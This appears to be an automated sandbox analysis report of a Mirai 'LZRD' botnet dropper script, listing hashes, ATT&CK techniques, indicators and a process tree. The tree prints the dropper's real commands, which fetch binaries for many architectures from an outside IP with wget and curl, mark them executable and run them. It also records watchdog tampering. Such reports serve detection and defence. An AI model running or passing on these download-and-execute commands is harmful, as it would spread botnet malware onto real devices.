mirai | 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_mipsel
resource
debian9-mipsel-20240418-en
resource tags

arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
11-11-2024 02:09

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General

Target

1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh
Size

3KB
MD5

77b673f2a4bf201174409274ff5ab549
SHA1

07239713e9551c0e0fafb75149b86b0ce0515a0a
SHA256

1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18
SHA512

66922611e0e8c796248b3ea6ebe4a02c638a2548eb8348b98ce913d9a1127c8a7f0bb6340484d25418e4d1da35d7bfde0b22a142697734197cafce40591fce3c

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmod

pid	Process
754	chmod
774	chmod
906	chmod
760	chmod
816	chmod
889	chmod
895	chmod
901	chmod
746	chmod
828	chmod
868	chmod
874	chmod
883	chmod
795	chmod
912	chmod

Executes dropped EXE 15 IoCs

Processes:

ChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaotic

ioc	pid	Process
/tmp/Chaotic	747	Chaotic
/tmp/Chaotic	755	Chaotic
/tmp/Chaotic	761	Chaotic
/tmp/Chaotic	775	Chaotic
/tmp/Chaotic	796	Chaotic
/tmp/Chaotic	817	Chaotic
/tmp/Chaotic	829	Chaotic
/tmp/Chaotic	869	Chaotic
/tmp/Chaotic	875	Chaotic
/tmp/Chaotic	884	Chaotic
/tmp/Chaotic	890	Chaotic
/tmp/Chaotic	896	Chaotic
/tmp/Chaotic	902	Chaotic
/tmp/Chaotic	907	Chaotic
/tmp/Chaotic	913	Chaotic

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

Processes:

Chaotic

description	ioc	Process
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 2 IoCs

Processes:

Chaotic

description	ioc	Process
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral4/files/fstream-5.dat	upx
behavioral4/files/fstream-6.dat	upx
behavioral4/files/fstream-7.dat	upx
behavioral4/files/fstream-8.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

Chaoticcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcpcurlcurl

description	ioc	Process
File opened for reading	/proc/9/status	Chaotic
File opened for reading	/proc/331/status	Chaotic
File opened for reading	/proc/829/status	Chaotic
File opened for reading	/proc/245/status	Chaotic
File opened for reading	/proc/380/status	Chaotic
File opened for reading	/proc/383/status	Chaotic
File opened for reading	/proc/4/status	Chaotic
File opened for reading	/proc/24/status	Chaotic
File opened for reading	/proc/37/status	Chaotic
File opened for reading	/proc/70/status	Chaotic
File opened for reading	/proc/82/status	Chaotic
File opened for reading	/proc/708/status	Chaotic
File opened for reading	/proc/713/status	Chaotic
File opened for reading	/proc/18/status	Chaotic
File opened for reading	/proc/76/status	Chaotic
File opened for reading	/proc/77/status	Chaotic
File opened for reading	/proc/157/status	Chaotic
File opened for reading	/proc/329/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/36/status	Chaotic
File opened for reading	/proc/123/status	Chaotic
File opened for reading	/proc/171/status	Chaotic
File opened for reading	/proc/811/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/13/status	Chaotic
File opened for reading	/proc/16/status	Chaotic
File opened for reading	/proc/17/status	Chaotic
File opened for reading	/proc/714/status	Chaotic
File opened for reading	/proc/694/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/10/status	Chaotic
File opened for reading	/proc/15/status	Chaotic
File opened for reading	/proc/74/status	Chaotic
File opened for reading	/proc/81/status	Chaotic
File opened for reading	/proc/432/status	Chaotic
File opened for reading	/proc/724/status	Chaotic
File opened for reading	/proc/807/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/72/status	Chaotic
File opened for reading	/proc/73/status	Chaotic
File opened for reading	/proc/78/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/3/status	Chaotic
File opened for reading	/proc/122/status	Chaotic
File opened for reading	/proc/677/status	Chaotic
File opened for reading	/proc/717/status	Chaotic
File opened for reading	/proc/11/status	Chaotic
File opened for reading	/proc/151/status	Chaotic
File opened for reading	/proc/675/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/7/status	Chaotic
File opened for reading	/proc/75/status	Chaotic
File opened for reading	/proc/326/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1/status	Chaotic
File opened for reading	/proc/22/status	Chaotic
File opened for reading	/proc/230/status	Chaotic

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

Processes:

wgetcurlcatwgetcurlcat

pid	Process
799	wget
804	curl
815	cat
778	wget
785	curl
793	cat

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curlwgetcurlwgetwgetcurlcurlcurlcurlcurlwgetcurlwgetwgetcurlwget1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.shwgetwgetwgetcurlcurlcurlwgetcurlcurlwgetcpwgetcurl

description	ioc	Process
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm6	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.m68k	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mpsl	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm5	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sh4	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sparc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sh4	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86_64	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips64	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm7	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.ppc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arc	wget
File opened for modification	/tmp/Chaotic	1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86_64	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.i686	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm6	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm7	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.m68k	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mpsl	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm5	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.ppc	wget
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.i686	curl

/tmp/1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh
/tmp/1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh
1⤵
- Writes file to tmp directory
PID:717
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:720
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - Writes file to tmp directory
  PID:723
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:735
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  PID:745
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-4b7bf3fb6b0c4916a03b3059ddb1b3dc-systemd-timedated.service-psOg2C ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:747
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - Writes file to tmp directory
  PID:750
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:752
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  PID:753
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-4b7bf3fb6b0c4916a03b3059ddb1b3dc-systemd-timedated.service-psOg2C ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:755
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - Writes file to tmp directory
  PID:757
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:758
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  PID:759
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-4b7bf3fb6b0c4916a03b3059ddb1b3dc-systemd-timedated.service-psOg2C ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:761
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  - Writes file to tmp directory
  PID:763
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:764
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  PID:773
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-4b7bf3fb6b0c4916a03b3059ddb1b3dc-systemd-timedated.service-psOg2C ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:774
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:775
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:778
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:785
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - System Network Configuration Discovery
  PID:793
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-4b7bf3fb6b0c4916a03b3059ddb1b3dc-systemd-timedated.service-psOg2C ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:796
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - System Network Configuration Discovery
  PID:799
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:804
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - System Network Configuration Discovery
  PID:815
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-4b7bf3fb6b0c4916a03b3059ddb1b3dc-systemd-timedated.service-psOg2C ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:817
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  - Writes file to tmp directory
  PID:820
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:825
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  PID:827
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-4b7bf3fb6b0c4916a03b3059ddb1b3dc-systemd-timedated.service-psOg2C ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:828
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:829
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  - Writes file to tmp directory
  PID:865
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:866
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  PID:867
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-4b7bf3fb6b0c4916a03b3059ddb1b3dc-systemd-timedated.service-psOg2C ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:868
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:869
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  - Writes file to tmp directory
  PID:871
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:872
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  PID:873
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-4b7bf3fb6b0c4916a03b3059ddb1b3dc-systemd-timedated.service-psOg2C ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:875
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  - Writes file to tmp directory
  PID:877
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:881
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  PID:882
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:884
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  - Writes file to tmp directory
  PID:886
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:887
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  PID:888
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:890
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  - Writes file to tmp directory
  PID:892
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:893
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  PID:894
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:896
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  PID:898
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  - Writes file to tmp directory
  PID:899
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  PID:900
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:902
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  - Writes file to tmp directory
  PID:903
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  - Writes file to tmp directory
  PID:904
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  PID:905
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:906
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:907
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  - Writes file to tmp directory
  PID:909
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:910
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  PID:911
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sh4 ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:912
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:913

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/Chaotic

Filesize
37KB

MD5
0d6e1b9b64e7264be82e54ce16625d3d

SHA1
e7bdee0a6c0edf518ce58dec54ee07c19b0f4f3b

SHA256
1bfbf7137af8f36627159116bc0dbfe916315853c6eb61b7d6011224699487f3

SHA512
ab43d184b61391ab72085da965fe0498cc99e69f4f87eab448f3c72c3f7e755e9a062af17db0cc5c2117d421a5bf53505b1676ebf554021e356ca8e2cfd41c4b

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/tmp/Chaotic

Filesize
36KB

MD5
6f30551085376afd0fe00be9cd7964a4

SHA1
0543929d23cd2cf8a8e77e1f335134913e60770f

SHA256
e27460f82d4b29d46e902573c344ea43fb28f87441508232d8fdb1a0eb47a74f

SHA512
91739913bb1bef30f17b6a354c58f0eb7e8520615cb7afae05ff4cad05707ac47dc30b24bf0ec14b7a3a0fc4c6816247c667274dbe6873db6f2e2c9f38c598ec

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/tmp/Chaotic

Filesize
37KB

MD5
10c4222fcdb2b8876fce8546f820c911

SHA1
1f9d33ce377022a5f3d712318910ef8294e3a616

SHA256
621863fb4ca73db0e6095012da0be5ed7ae3e83069d9b27bad64e269aa60e64a

SHA512
4099e845ae4e98b84cfccc0272d93ee0efc51cfa59692d9e6d1605b1e12d94882ff9b26cf7ba9ae01a652784cf7355841a57a2f18d6233f44b56aedc65e7a866

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/tmp/Chaotic

Filesize
43KB

MD5
359609d0ce5ba09366b9f92140569854

SHA1
e3564fcd36fd0442f5e11ce70721a6dd9c307d7e

SHA256
4321f25e0cbd9afe47c8dc5732ae39975af499cd8a1df4d405508daeff5fcff7

SHA512
ebec8f5ae1b8ca60f8d7a3961e83c2d691e83df37fbf271109413e7c9d5d820ec1a05e20b76606ade97989c2935370dc7890c50b70ae275fdf762d6bad11d11e

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/tmp/Chaotic

Filesize
95KB

MD5
afbfe0607661819fbade431e4b7cc127

SHA1
9cd976f7a280c498cbffe3c11062ea5ebbf5c893

SHA256
e1b2dc1e3a2821dcdbe1ce3f1c73745e14db000204f90485eca0483158d284dc

SHA512
3afb5d94d6c11d55c737a368caed0fc3185c1054f7d85c51c2059fb40e766c8e7e531cb79b37ab00d50ad4801840f9462b8a3088491f43e43024569b18603596

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/tmp/busybox

Filesize
857KB

MD5
6ffc46165b5d9726a6607f3ea5305589

SHA1
ab127220f42e816b413dde0d17031e251a7bc98f

SHA256
80d636e2f1237e9adc9ea0bf7f42b17d7df8781db0684c33696411e50588a38c

SHA512
456fcd5d5bda524ef5236e00695a891cfefe15364f9c7a4ff04ad7dfdc7fd1726f037e905622216f13aee6c2d4ee90be0c850de82b3aac1d02a643db9f935af8

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/tmp/ub8ehJSePAfc9FYqZIT6.arc

Filesize
113KB

MD5
c62f59a26c1abbde3c399b007d42f689

SHA1
32f5fe369907ad84049758e7ec698b780ab5e1b7

SHA256
05e5bbf635a0d5600f4a5814c743b599891556c9812d3ea898546047fe941009

